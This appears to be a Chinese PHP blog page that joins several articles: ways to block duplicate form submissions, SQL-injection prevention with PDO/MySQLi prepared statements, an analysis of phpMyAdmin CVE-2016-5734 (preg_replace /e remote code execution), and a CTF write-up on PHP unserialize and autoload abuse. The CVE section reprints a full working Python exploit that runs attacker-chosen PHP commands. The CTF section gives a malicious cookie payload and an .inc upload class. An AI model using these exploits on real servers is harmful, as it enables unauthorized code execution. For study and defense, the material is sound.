php避免form表单重复提交

 更新时间:2016年11月25日 15:21  点击:1579
重复提交我们在php中的防止方法许多最常用的就是数据库限制了,当然也有可以直接在客户端进行限制了,具体的来看php重复提交防止示例会有哪些吧。

下面的情况就会导致表单重复提交:

点击提交按钮两次。

点击刷新按钮。

使用浏览器后退按钮重复之前的操作,导致重复提交表单。

使用浏览器历史记录重复提交表单。

浏览器重复的HTTP请求。

网页被恶意刷新。

下面是几种解决办法:

一:利用js设置按钮点击后变成灰色

<form name=form1 method=”POST” action=”/” target=_blank>

<p>

<input type=”text” name=”T1″ size=”20″>

<input type=”button” value=”提交” onclick=”javascript:{this.disabled=true;document.form1.submit();}”>

</p>

</form>

点击完按钮之后变成灰色就不能点击了,用户需要再次提交表单的话就要刷新页面之后重新填写数据再提交了。

二:利用session

在session中���放一个特殊标志。当表单页面被请求时,生成一个特殊的字符标志串,存在session中,同时放在表单的隐藏域里。接受处理表单数据时,检查标识字串是否存在,并立即从session中删除它,然后正常处理数据。

如果发现表单提交里没有有效的标志串,这说明表单已经被提交过了,忽略这次提交。

这使你的web应用有了更高级的XSRF保护

加载提交的页面时候,生成一个随机数,

$code = mt_rand(0,1000000);

存储在表单的隐藏输入框中:

< input type=”hidden” name=”code” value=””>

在接收页面的PHP代码如下:

<?php

session_start();

if(isset($_POST[‘code’])) {

if($_POST[‘code’] == $_SESSION[‘code’]){

// 重复提交表单了

}else{

$_SESSION[‘code’] =$_POST[‘code’]; //存储code

}

}?>

三:利用cookies

原理和session差不多,但是cookies一旦用户浏览器禁用cookies,这功能就失效了

if(isset($_POST[‘submit’])){

setcookie(“tempcookie”,””,time()+30);

header(“Location:”.$_SERVER[PHP_SELF]);exit();

}

if(isset($_COOKIE[“tempcookie”])){

setcookie(“tempcookie”,””,0);echo “您已经提交过表单”;

}

四:利用header函数跳转

一旦用户点击提交按钮,处理完数据后跳到其他页面

if (isset($_POST[‘submit’])) {

header(‘location:success.php’);//处理数据后,转向到其他页面

}

五:利用数据库来添加约束

直接在数据库里添加唯一约束或创建唯一索引,一旦发现用户重复提交了,直接抛出警告或者提示,或者只处理第一次提交的数据,这是最直接有效的方法,要求前期的数据库设计和架构要考虑周全.

六:Post/Redirect/Get模式。

在提交后执行页面重定向,这就是所谓的Post-Redirect-Get (PRG)模式。简言之,当用户提交了表单后,你去执行一个客户端的重定向,转到提交成功信息页面。

if (isset($_POST[‘action’]) && $_POST[‘action’] == ‘submitted’) {

//处理数据,如插入数据后,立即转向到其他页面

header(‘location:submits_success.php’);

}

这能避免用户按F5导致的重复提交,而其也不会出现浏览器表单重复提交的警告,也能消除按浏览器前进和后退按导致的同样问题。

防止SQL注入是我们程序开发人员必须要做的事情了,今天我们就来看一篇关于PHP防止SQL注入的例子了,具体的实现防过滤语句可以参考下面来看看吧。

使用prepared以及参数绑定查询可根本性防止sql注入的发生:SQL语句与参数分批传输到sql服务器的方式让利用字符串拼接的SQL注入没有了施展空间。

基本上你有两种方式完成上述方法:

使用PDO:
$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');
$stmt->execute(array('name' => $name));
foreach ($stmt as $row) {
    // do something with $row
}

2.使用MySQLi

$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?');
$stmt->bind_param('s', $name);

$stmt->execute();

$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
    // do something with $row
}

正确的配置数据库连接

注意当你用PDO方式访问MySQLs时,使用真正的prepared 语句方式并不是默认设置。所以你必须禁止模拟prepared模式:

$dbConnection = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass');

$dbConnection->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$dbConnection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

以上语句中对错误模式的设置并不是必须的,但我强烈推荐加上它。这样脚本就不会因为数据库的”Fatal Error”而停止,而是抛出一个PDOExceptions,从而让你能够抓取到这个异常。

preg_replace是规则替换了在开发中我们常用到preg_replace函数了,那么为什么会说preg_replace引发的phpmyadmin(4.3.0-4.6.2)命令执行漏洞呢,我们来看看。


这里拿cve-2016-5734讲讲preg_replace引发的命令执行漏洞,漏洞在exploit-db上有利用脚本,经过测试没有问题。这里对这个漏洞进行一下回溯跟踪来解释下preg_replace这个正则替换函数带来的问题。
0x01 漏洞触发原理

preg_replace漏洞触发有两个前提:

01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,举个例子:

//echo preg_replace('/test/e', 'phpinfo()', 'just test');

//这样是可以执行命令的


//echo preg_replace('/test/e', 'phpinfo()', 'just tesxt');

//echo preg_replace('/tesxt/e', 'phpinfo()', 'just test');

//这两种没有匹配上,所以返回值是第三个参数,不能执行命令
0x02 触发漏洞位置回溯

cve-2016-5734的漏洞问题出现在TableSearch.class.php中的_getRegexReplaceRows函数,让我们看看这个函数:
phpmyadmin_1
$find ,和 $replaceWith可以看到在preg_replace中被引用,让我们回溯这两个变量,在getReplacePreview中有调用_getRegexReplaceRows函数
phpmyadmin_2
继续回溯,在tbl_find_replace中有调用getReplacePreview,同时参数是post传入,下面让我们看看如何利用构造
phpmyadmin_3
0x03 构造利用

漏洞利用思路:这个漏洞目前没法直接利用,因为有token限制,需要登陆抓到token,同时需要构造第三个参数保证和第一个参数匹配上,第一个参数可控,但是第三个参数是从数据库中取出的,所以只能提前插入到数据库中,然后再取出来,columnIndex是取出字段值的可控,所以第三个参数也可控了。
流程大概走了一圈,下面看看怎么构造,首先这个漏洞需要有创建表插入字段权限的账号,这里直接用的root账号测试的,先创建个表,然后表中插入个字段值为"0/e"
phpmyadmin_4
#!/usr/bin/env python

# cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
# Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
# CVE: CVE-2016-5734
# Author: https://twitter.com/iamsecurity
# run: ./cve-2016-5734.py -u root --pwd='' http://localhost/pma -c "system('ls -lua');"
# https://www.exploit-db.com/exploits/40185/

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)

注入我们听到最多的sql了,其实php注入也是黑客常用的一种办法了,今天我们就来看php注入的一篇攻击的记录了,希望大家能够通过此教程来做好自己网站安全。


1. 写在前面

最近经常会遇到一些比较有意思的漏洞,比如PHP反序列化漏洞,PHP对象注入。这些漏洞可能在平时很难遇到,但是在CTF以及一些CMS倒是经常看到他们的背影。今天刚刚好手上看到了某CTF的代码,但是并没有获取所有源码,因此修改了部分代码进行分析。

2. 自动加载

2.0 为什么要自动加载?

在面向对象编程中,程序员经常会编写好类然后在一个入口文件中将它们包含进来。如果一个项目非常大,可能存在成百上千个类文件,如果一一包含进去,那么入口文件就会显得特别大并且不利于维护。因此,PHP5提供了一种自动加载机制。

2.1 __autoload

index.php

function __autoload($classname){
 $class_file = strtolower($classname).".php";
 if(file_exists($class_file)){
  require_once("$class_file");
 }else{
  echo "$class_file does not exist!";
 }
}
$obj = new File();

访问index.php,程序会尝试实例化File类。PHP的解析器会自动调用__autoload()函数。假设当前目录下没有file.php,那么就会输出 “file.php does not exist!” 并且抛出错误。

file.php

class File{
 function __construct(){
  echo "File class is instantiated";
 }
}

此时访问index.php,就会得到 “File class is instantiated” 的结果。这样一来,自动加载机制就非常好理解了。

2.2 手动调用 spl_autoload

void spl_autoload ( string $class_name [, string $file_extensions ] )
 
它可以接收两个参数,第一个参数是$class_name,表示类名。第二个参数$file_extensions是可选的,表示类文件的扩展名;如果不指定的话,它将使用默认的扩展名.inc或.php。
spl_autoload首先将$class_name变为小写,然后在所有的include path中搜索$class_name.inc或$class_name.php文件(如果不指定$file_extensions参数的话),如果找到,就加载该类文件。
同样,你可以手动使用spl_autoload(“Person”, “.class.php”)来加载Person类。实际上,它跟require/include差不多

举个例子

spl_autoload("upload");
$F = new Upload();

这里没有指定扩展名,那么就会在当前目录下寻找upload.inc或者upload.php并自动加载。其实,到这里而言,和require、include相比并没有简单。相反,它们的功能基本是一模一样的。

2.3 自动调用 spl_autoload

上面所说的使用手动的方式调用spl_autoload,工作量其实和require/include基本上差不多。调用spl_autoload_register()的时候,如果没有指定欲注册的自动装载函数,则自动注册 autoload 的默认实现函数spl_autoload()。

举个例子

spl_autoload_register();
$F = new Upload();

此时,程序会在当前路径下自动加载upload.inc或upload.php。

3. 反序列化
字符串序列化成类之前,类必须提前声明,否则无法反序列化。
字符串在反序列化的时候,会自动调用__wakeup()魔术方法
Object序列化格式 -> O:strlen(对象名):对象名:对象大小:{s:strlen(属性名):属性名:属性值;(重复剩下的元素)}

4. 漏洞剖析

index.php

include_once "common.inc.php";
if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is', $req["act"])) {
    include_once __DIR__ . "/" . $req["act"] . ".php";
    exit;
}


common.inc.php

spl_autoload_register();
error_reporting(0);
ini_set('display_errors', false);
$req = [];
 
foreach([$_GET, $_POST] as $global_var) {
    foreach($global_var as $key => $value) {
        is_string($value) && $req[$key] = addslashes($value);
    }
}
 
$userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : [];
 

upload.php

if($_FILES["attach"]["error"] == 0) {
    if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {
        $typeAccepted = ["image/jpeg", "image/gif", "image/png"];
        $blackext = ["php", "php5", "php3", "html", "swf", "htm"];
        $filearr = pathinfo($_FILES["attach"]["name"]); 
        if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {
            exit("type error");
        }
        if(in_array($filearr["extension"], $blackext)) {
            exit("extension error");
        }
        $filename = $_FILES["attach"]["name"];
        if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {   
            array_push($userinfo, $filename);
            setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);
            echo htmlspecialchars("upload success, new filename is {$filename} .");
        } else {
            echo "upload error!";
        }
    }
} else {
    echo "no upload file";
}


在common.inc.php中执行了spl_autoload_register()函数,并没有使用参数。
后缀没有禁止.inc的类型
在common.inc.php会反序列化COOKIE中的数据
上传目录在当前目录下
因此我们需要如下构造:

上传一个名为info.inc的文件,抓包修改MIME类型。info.inc的内容如下所示:

class info{
 function __wakeup(){
  phpinfo();
 }
}


修改cookie的uesrinfo字段为:O:4:”info”:0:{}
访问index.php即可触发phpinfo()函数。

[!--infotagslink--]

相关文章